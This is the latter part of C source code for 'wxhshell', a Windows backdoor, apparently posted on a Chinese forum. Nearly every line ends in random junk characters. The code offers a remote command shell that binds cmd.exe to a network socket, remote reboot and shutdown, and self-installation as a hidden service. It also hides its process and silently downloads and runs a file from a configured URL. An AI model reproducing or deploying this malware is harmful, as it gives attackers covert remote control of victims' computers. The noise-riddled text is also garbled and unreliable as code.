SUdm 0y  
    switch(cmd[0]) { >Da~Q WW|  
  M##';x0  
  // 帮助 e!x6bR9EZ  
  case '?': { {aj/HFLNY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m],Ud\  
    break; %XRN]tsu  
  } )]Ti>RO7  
  // 安装 pSAR/':eg  
  case 'i': { HW_& !ye  
    if(Install()) R>)MiHcCg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 <SqoJSp  
    else y] V1b{9p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |. C1|J'Z  
    break; %|"Qi]c d  
    } "Pc$\zJm;  
  // 卸载 ,4@|1z{bfm  
  case 'r': { LAs7>hM  
    if(Uninstall()) E5G{B'%j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VWf %v  
    else 1'KishHK=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YUkud2,j  
    break; @h9MxCE!  
    } Of7 +/UV  
  // 显示 wxhshell 所在路径 }NmNanW^  
  case 'p': { |X(2Zv^O  
    char svExeFile[MAX_PATH]; /Jlv"R 1,  
    strcpy(svExeFile,"\n\r"); ~1(j&&kXet  
      strcat(svExeFile,ExeFile); t/p $  
        send(wsh,svExeFile,strlen(svExeFile),0); 1~5trsB+5  
    break; G$JFuz)|  
    } Omyt2`q  
  // 重启 IF_DZ   
  case 'b': { \7 a4uc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kDsIp=  
    if(Boot(REBOOT)) Tj`5L6N;8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;+_8&wbqW  
    else { JdNF-64ky  
    closesocket(wsh); "'tRfB   
    ExitThread(0); UH3t(o7O  
    } _a'A~JY  
    break; vA&Vu"}S  
    } ;5S}~+j  
  // 关机 \C|cp|A*&  
  case 'd': { (H#M<N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +1`t}hO  
    if(Boot(SHUTDOWN)) 9`Q@'( m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wk7WK` >i  
    else { Fvl`2W94;  
    closesocket(wsh); BGWAh2w6  
    ExitThread(0); z;3NiY  
    } 80hme+e  
    break; M7dU@Ag  
    } :,UN8L "  
  // 获取shell }DIF%}UK\  
  case 's': { O!F]^'!  
    CmdShell(wsh); !{%G0(Dv  
    closesocket(wsh); f`P9ku#j}  
    ExitThread(0); hu@7?f_"L/  
    break; ygViPz<J  
  } 4ke^*g K<  
  // 退出 :7b-$fm  
  case 'x': { Sp?NfJ\Ie  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2@i;_3sv  
    CloseIt(wsh); T@ 48qg  
    break; 8jnz}aBd  
    } JOfV]eCL  
  // 离开 v3^|"}\q5  
  case 'q': { j6>tH"i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K{DAOQ.z  
    closesocket(wsh); At9X]t  
    WSACleanup(); ;u!?QSvb  
    exit(1); =>LZm+P  
    break; V2 `> ]/|  
        } n9oR)&:o  
  } b|?;h21rG  
  } F!g;A"?V  
w~@[ r4W  
  // 提示信息  s>[{}7ca  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p@I9< ^"  
} h)dRR_  
  } /1.rz{wpb  
U{#xW  
  return; iuAq.$oi{  
} \{v,6JC  
JP=ZUu  
// shell模块句柄 L.)yXuo4  
int CmdShell(SOCKET sock) >)c9|e=8  
{ d-$_|G+  
STARTUPINFO si; ]+%=@mWYs  
ZeroMemory(&si,sizeof(si)); 77aX-e*=E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~@9zil41  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >FFVY{F  
PROCESS_INFORMATION ProcessInfo; %$9bce-fcG  
char cmdline[]="cmd"; <Dm Tj$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^.HWkS`e  
  return 0; c> ~:dcy  
} n0fRu`SNV  
JAP (|  
// 自身启动模式 jD9lz-Y@  
int StartFromService(void) uxDLDA$;  
{ ;Bs^iL  
typedef struct "tR}j,=S:D  
{ 9k>uRV6  
  DWORD ExitStatus; d*-Xuv  
  DWORD PebBaseAddress; uiMIz?+  
  DWORD AffinityMask; a%J /0'(d  
  DWORD BasePriority; J(9=T<%T  
  ULONG UniqueProcessId; pVG>A&4  
  ULONG InheritedFromUniqueProcessId; GX38~pq  
}   PROCESS_BASIC_INFORMATION; pxplWP,  
*m&&1W_  
PROCNTQSIP NtQueryInformationProcess; gCV rC  
GOr}/y;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |- OHve4A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8=4^Lm  
E fSMFPM  
  HANDLE             hProcess; kI+b <$:D  
  PROCESS_BASIC_INFORMATION pbi; 9dYOH)f  
3B#!2|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0/Q5d,'Y[2  
  if(NULL == hInst ) return 0; 'j#a%j@{  
JtmQzr0>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?>?ZAr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _85E=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); viV-e$s`.  
P^4'|#~2T  
  if (!NtQueryInformationProcess) return 0; =|JKu'  
gA+YtU{z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hht+bpHl  
  if(!hProcess) return 0; +Ag#B*   
cYD1~JX.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {6tx,;r(F  
R=86w_  
  CloseHandle(hProcess); <PQRd  
Y_lCcu#OA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wa/geQE1<  
if(hProcess==NULL) return 0; mxhW|}_-j  
0 r3N^_}  
HMODULE hMod; 8;.` {'r  
char procName[255]; P:a*t[+  
unsigned long cbNeeded; *NjMb{[ZQ  
MM*-i=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hvcR.f)C>  
B>aEH b  
  CloseHandle(hProcess); x`3. Wu\  
ULrbQ}"cva  
if(strstr(procName,"services")) return 1; // 以服务启动 w6v1 q:20  
hhj ,rcsi  
  return 0; // 注册表启动 J\GKqt;5@  
} 04[)qPPS  
'%$-]~   
// 主模块 `7$Oh{67  
int StartWxhshell(LPSTR lpCmdLine) b@F_7P%  
{ t5A[o7BS  
  SOCKET wsl; IjgBa-o/V  
BOOL val=TRUE; r 3?5'S`  
  int port=0; h!~|6nj  
  struct sockaddr_in door; WT1q15U(=  
GZ.?MnG  
  if(wscfg.ws_autoins) Install(); -ca]Q|m8  
k0=|10bi  
port=atoi(lpCmdLine); +Hi{ /{k0N  
H|x k${R`  
if(port<=0) port=wscfg.ws_port; P@-R5GK  
s}<)B RZi  
  WSADATA data; B##C{^5A`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P'gT6*an,"  
v3 !byN^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '1qAZkz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5Bzuj`  
  door.sin_family = AF_INET; =+k&&vOAn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #{?m  
  door.sin_port = htons(port); ^JiaR)#r  
EgCp:L{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =/M$ <+  
closesocket(wsl); zww?  
return 1; R^F7a0"  
} ?Of{c,2 .  
W[@"H1bVH  
  if(listen(wsl,2) == INVALID_SOCKET) { ?BXP}]  
closesocket(wsl); t>m8iS>  
return 1; B/:>{2cm  
} oR4fK td  
  Wxhshell(wsl); iRkOH]+K  
  WSACleanup(); t Qp* '  
xu0;a  
return 0; ^ON-#  
]i9H_K  
} Cv gPIrl  
HFpjNR  
// 以NT服务方式启动 /5a$@%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U+I3P  
{ &8IWDx.7}  
DWORD   status = 0; mNGb} lR  
  DWORD   specificError = 0xfffffff; -zkW\O[  
1nw$B[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iW1$!l>v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uQXs>JuD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \5j22L9S  
  serviceStatus.dwWin32ExitCode     = 0; e_;%F`  
  serviceStatus.dwServiceSpecificExitCode = 0; ' |h./.K  
  serviceStatus.dwCheckPoint       = 0; (e>RNn\  
  serviceStatus.dwWaitHint       = 0; *8pe<:A#p  
'Hcd&3a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ])3lH%4-  
  if (hServiceStatusHandle==0) return; _.oRVYK /  
)&g2D@+{  
status = GetLastError(); 9`hpa-m@  
  if (status!=NO_ERROR) *q\HFI  
{ Y)@oo=oG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =[v2   
    serviceStatus.dwCheckPoint       = 0; znGZULa#  
    serviceStatus.dwWaitHint       = 0; CfazD??x  
    serviceStatus.dwWin32ExitCode     = status; h7Shl<f  
    serviceStatus.dwServiceSpecificExitCode = specificError; N9fUlXhR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QySca(1tN  
    return; R|cFpRe  
  } PaU@T!v  
t*ri`}a{v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |hZ|+7  
  serviceStatus.dwCheckPoint       = 0; %-0em!tUV  
  serviceStatus.dwWaitHint       = 0; Q_UCF'f;}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x);?jxd  
} 61t-  
q70YNk}  
// 处理NT服务事件,比如:启动、停止 u0(hVK`":  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q>#)LHX  
{ Yg]FF`{p=  
switch(fdwControl) ;$k ?&nhY  
{ HfZ (U5~  
case SERVICE_CONTROL_STOP: J~nJpUyP*  
  serviceStatus.dwWin32ExitCode = 0; $! fz~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iq[2H$  
  serviceStatus.dwCheckPoint   = 0; o} bj!h]N  
  serviceStatus.dwWaitHint     = 0; #I*ht0++  
  { 7csl1|U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /3"e3{u y  
  } 7,&3=R <  
  return; z}Mb4{d1  
case SERVICE_CONTROL_PAUSE: '/ ]fZ|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4)c"@Zf  
  break; 0t/z "  
case SERVICE_CONTROL_CONTINUE: e!L sc3@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )PLc+J.I  
  break; l[x`*+ON:2  
case SERVICE_CONTROL_INTERROGATE: 1^Y:XJ73  
  break; 7J)Hwl  
}; %\s#e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tjc5>T[Es8  
} !W6    
*N&^bF"SF  
// 标准应用程序主函数 7lBQd(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AyI}LQm]u  
{ S^sW.(I  
(p#;6Xhf  
// 获取操作系统版本 Td=] tVM  
OsIsNt=GetOsVer(); 6A{s%v H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R4K eUn"  
_4x[}e7KF  
  // 从命令行安装  nd*!`P  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3GuMiht5  
~[bMfkc3  
  // 下载执行文件 G~mB=]  
if(wscfg.ws_downexe) { E l8.D3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P^d . ,  
  WinExec(wscfg.ws_filenam,SW_HIDE); lk *QV  
} +{l3#Y  
N]P*6sf-6  
if(!OsIsNt) { D%";!7u  
// 如果时win9x,隐藏进程并且设置为注册表启动 1.cUol nr  
HideProc(); lhvZ*[[<)  
StartWxhshell(lpCmdLine); jP{]LJ2.6\  
} D9pxe qf+=  
else DIcyXZH<  
  if(StartFromService()) *U[Q=w  
  // 以服务方式启动 p|O-I&Xd  
  StartServiceCtrlDispatcher(DispatchTable); !h~#L"z  
else SBB bniK-  
  // 普通方式启动 2l}Fg D  
  StartWxhshell(lpCmdLine); 4s+J-l  
/ hj9Q!  
return 0; KE|u}M@v6  
}
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只看该作者 1 发表于: 2006-10-10
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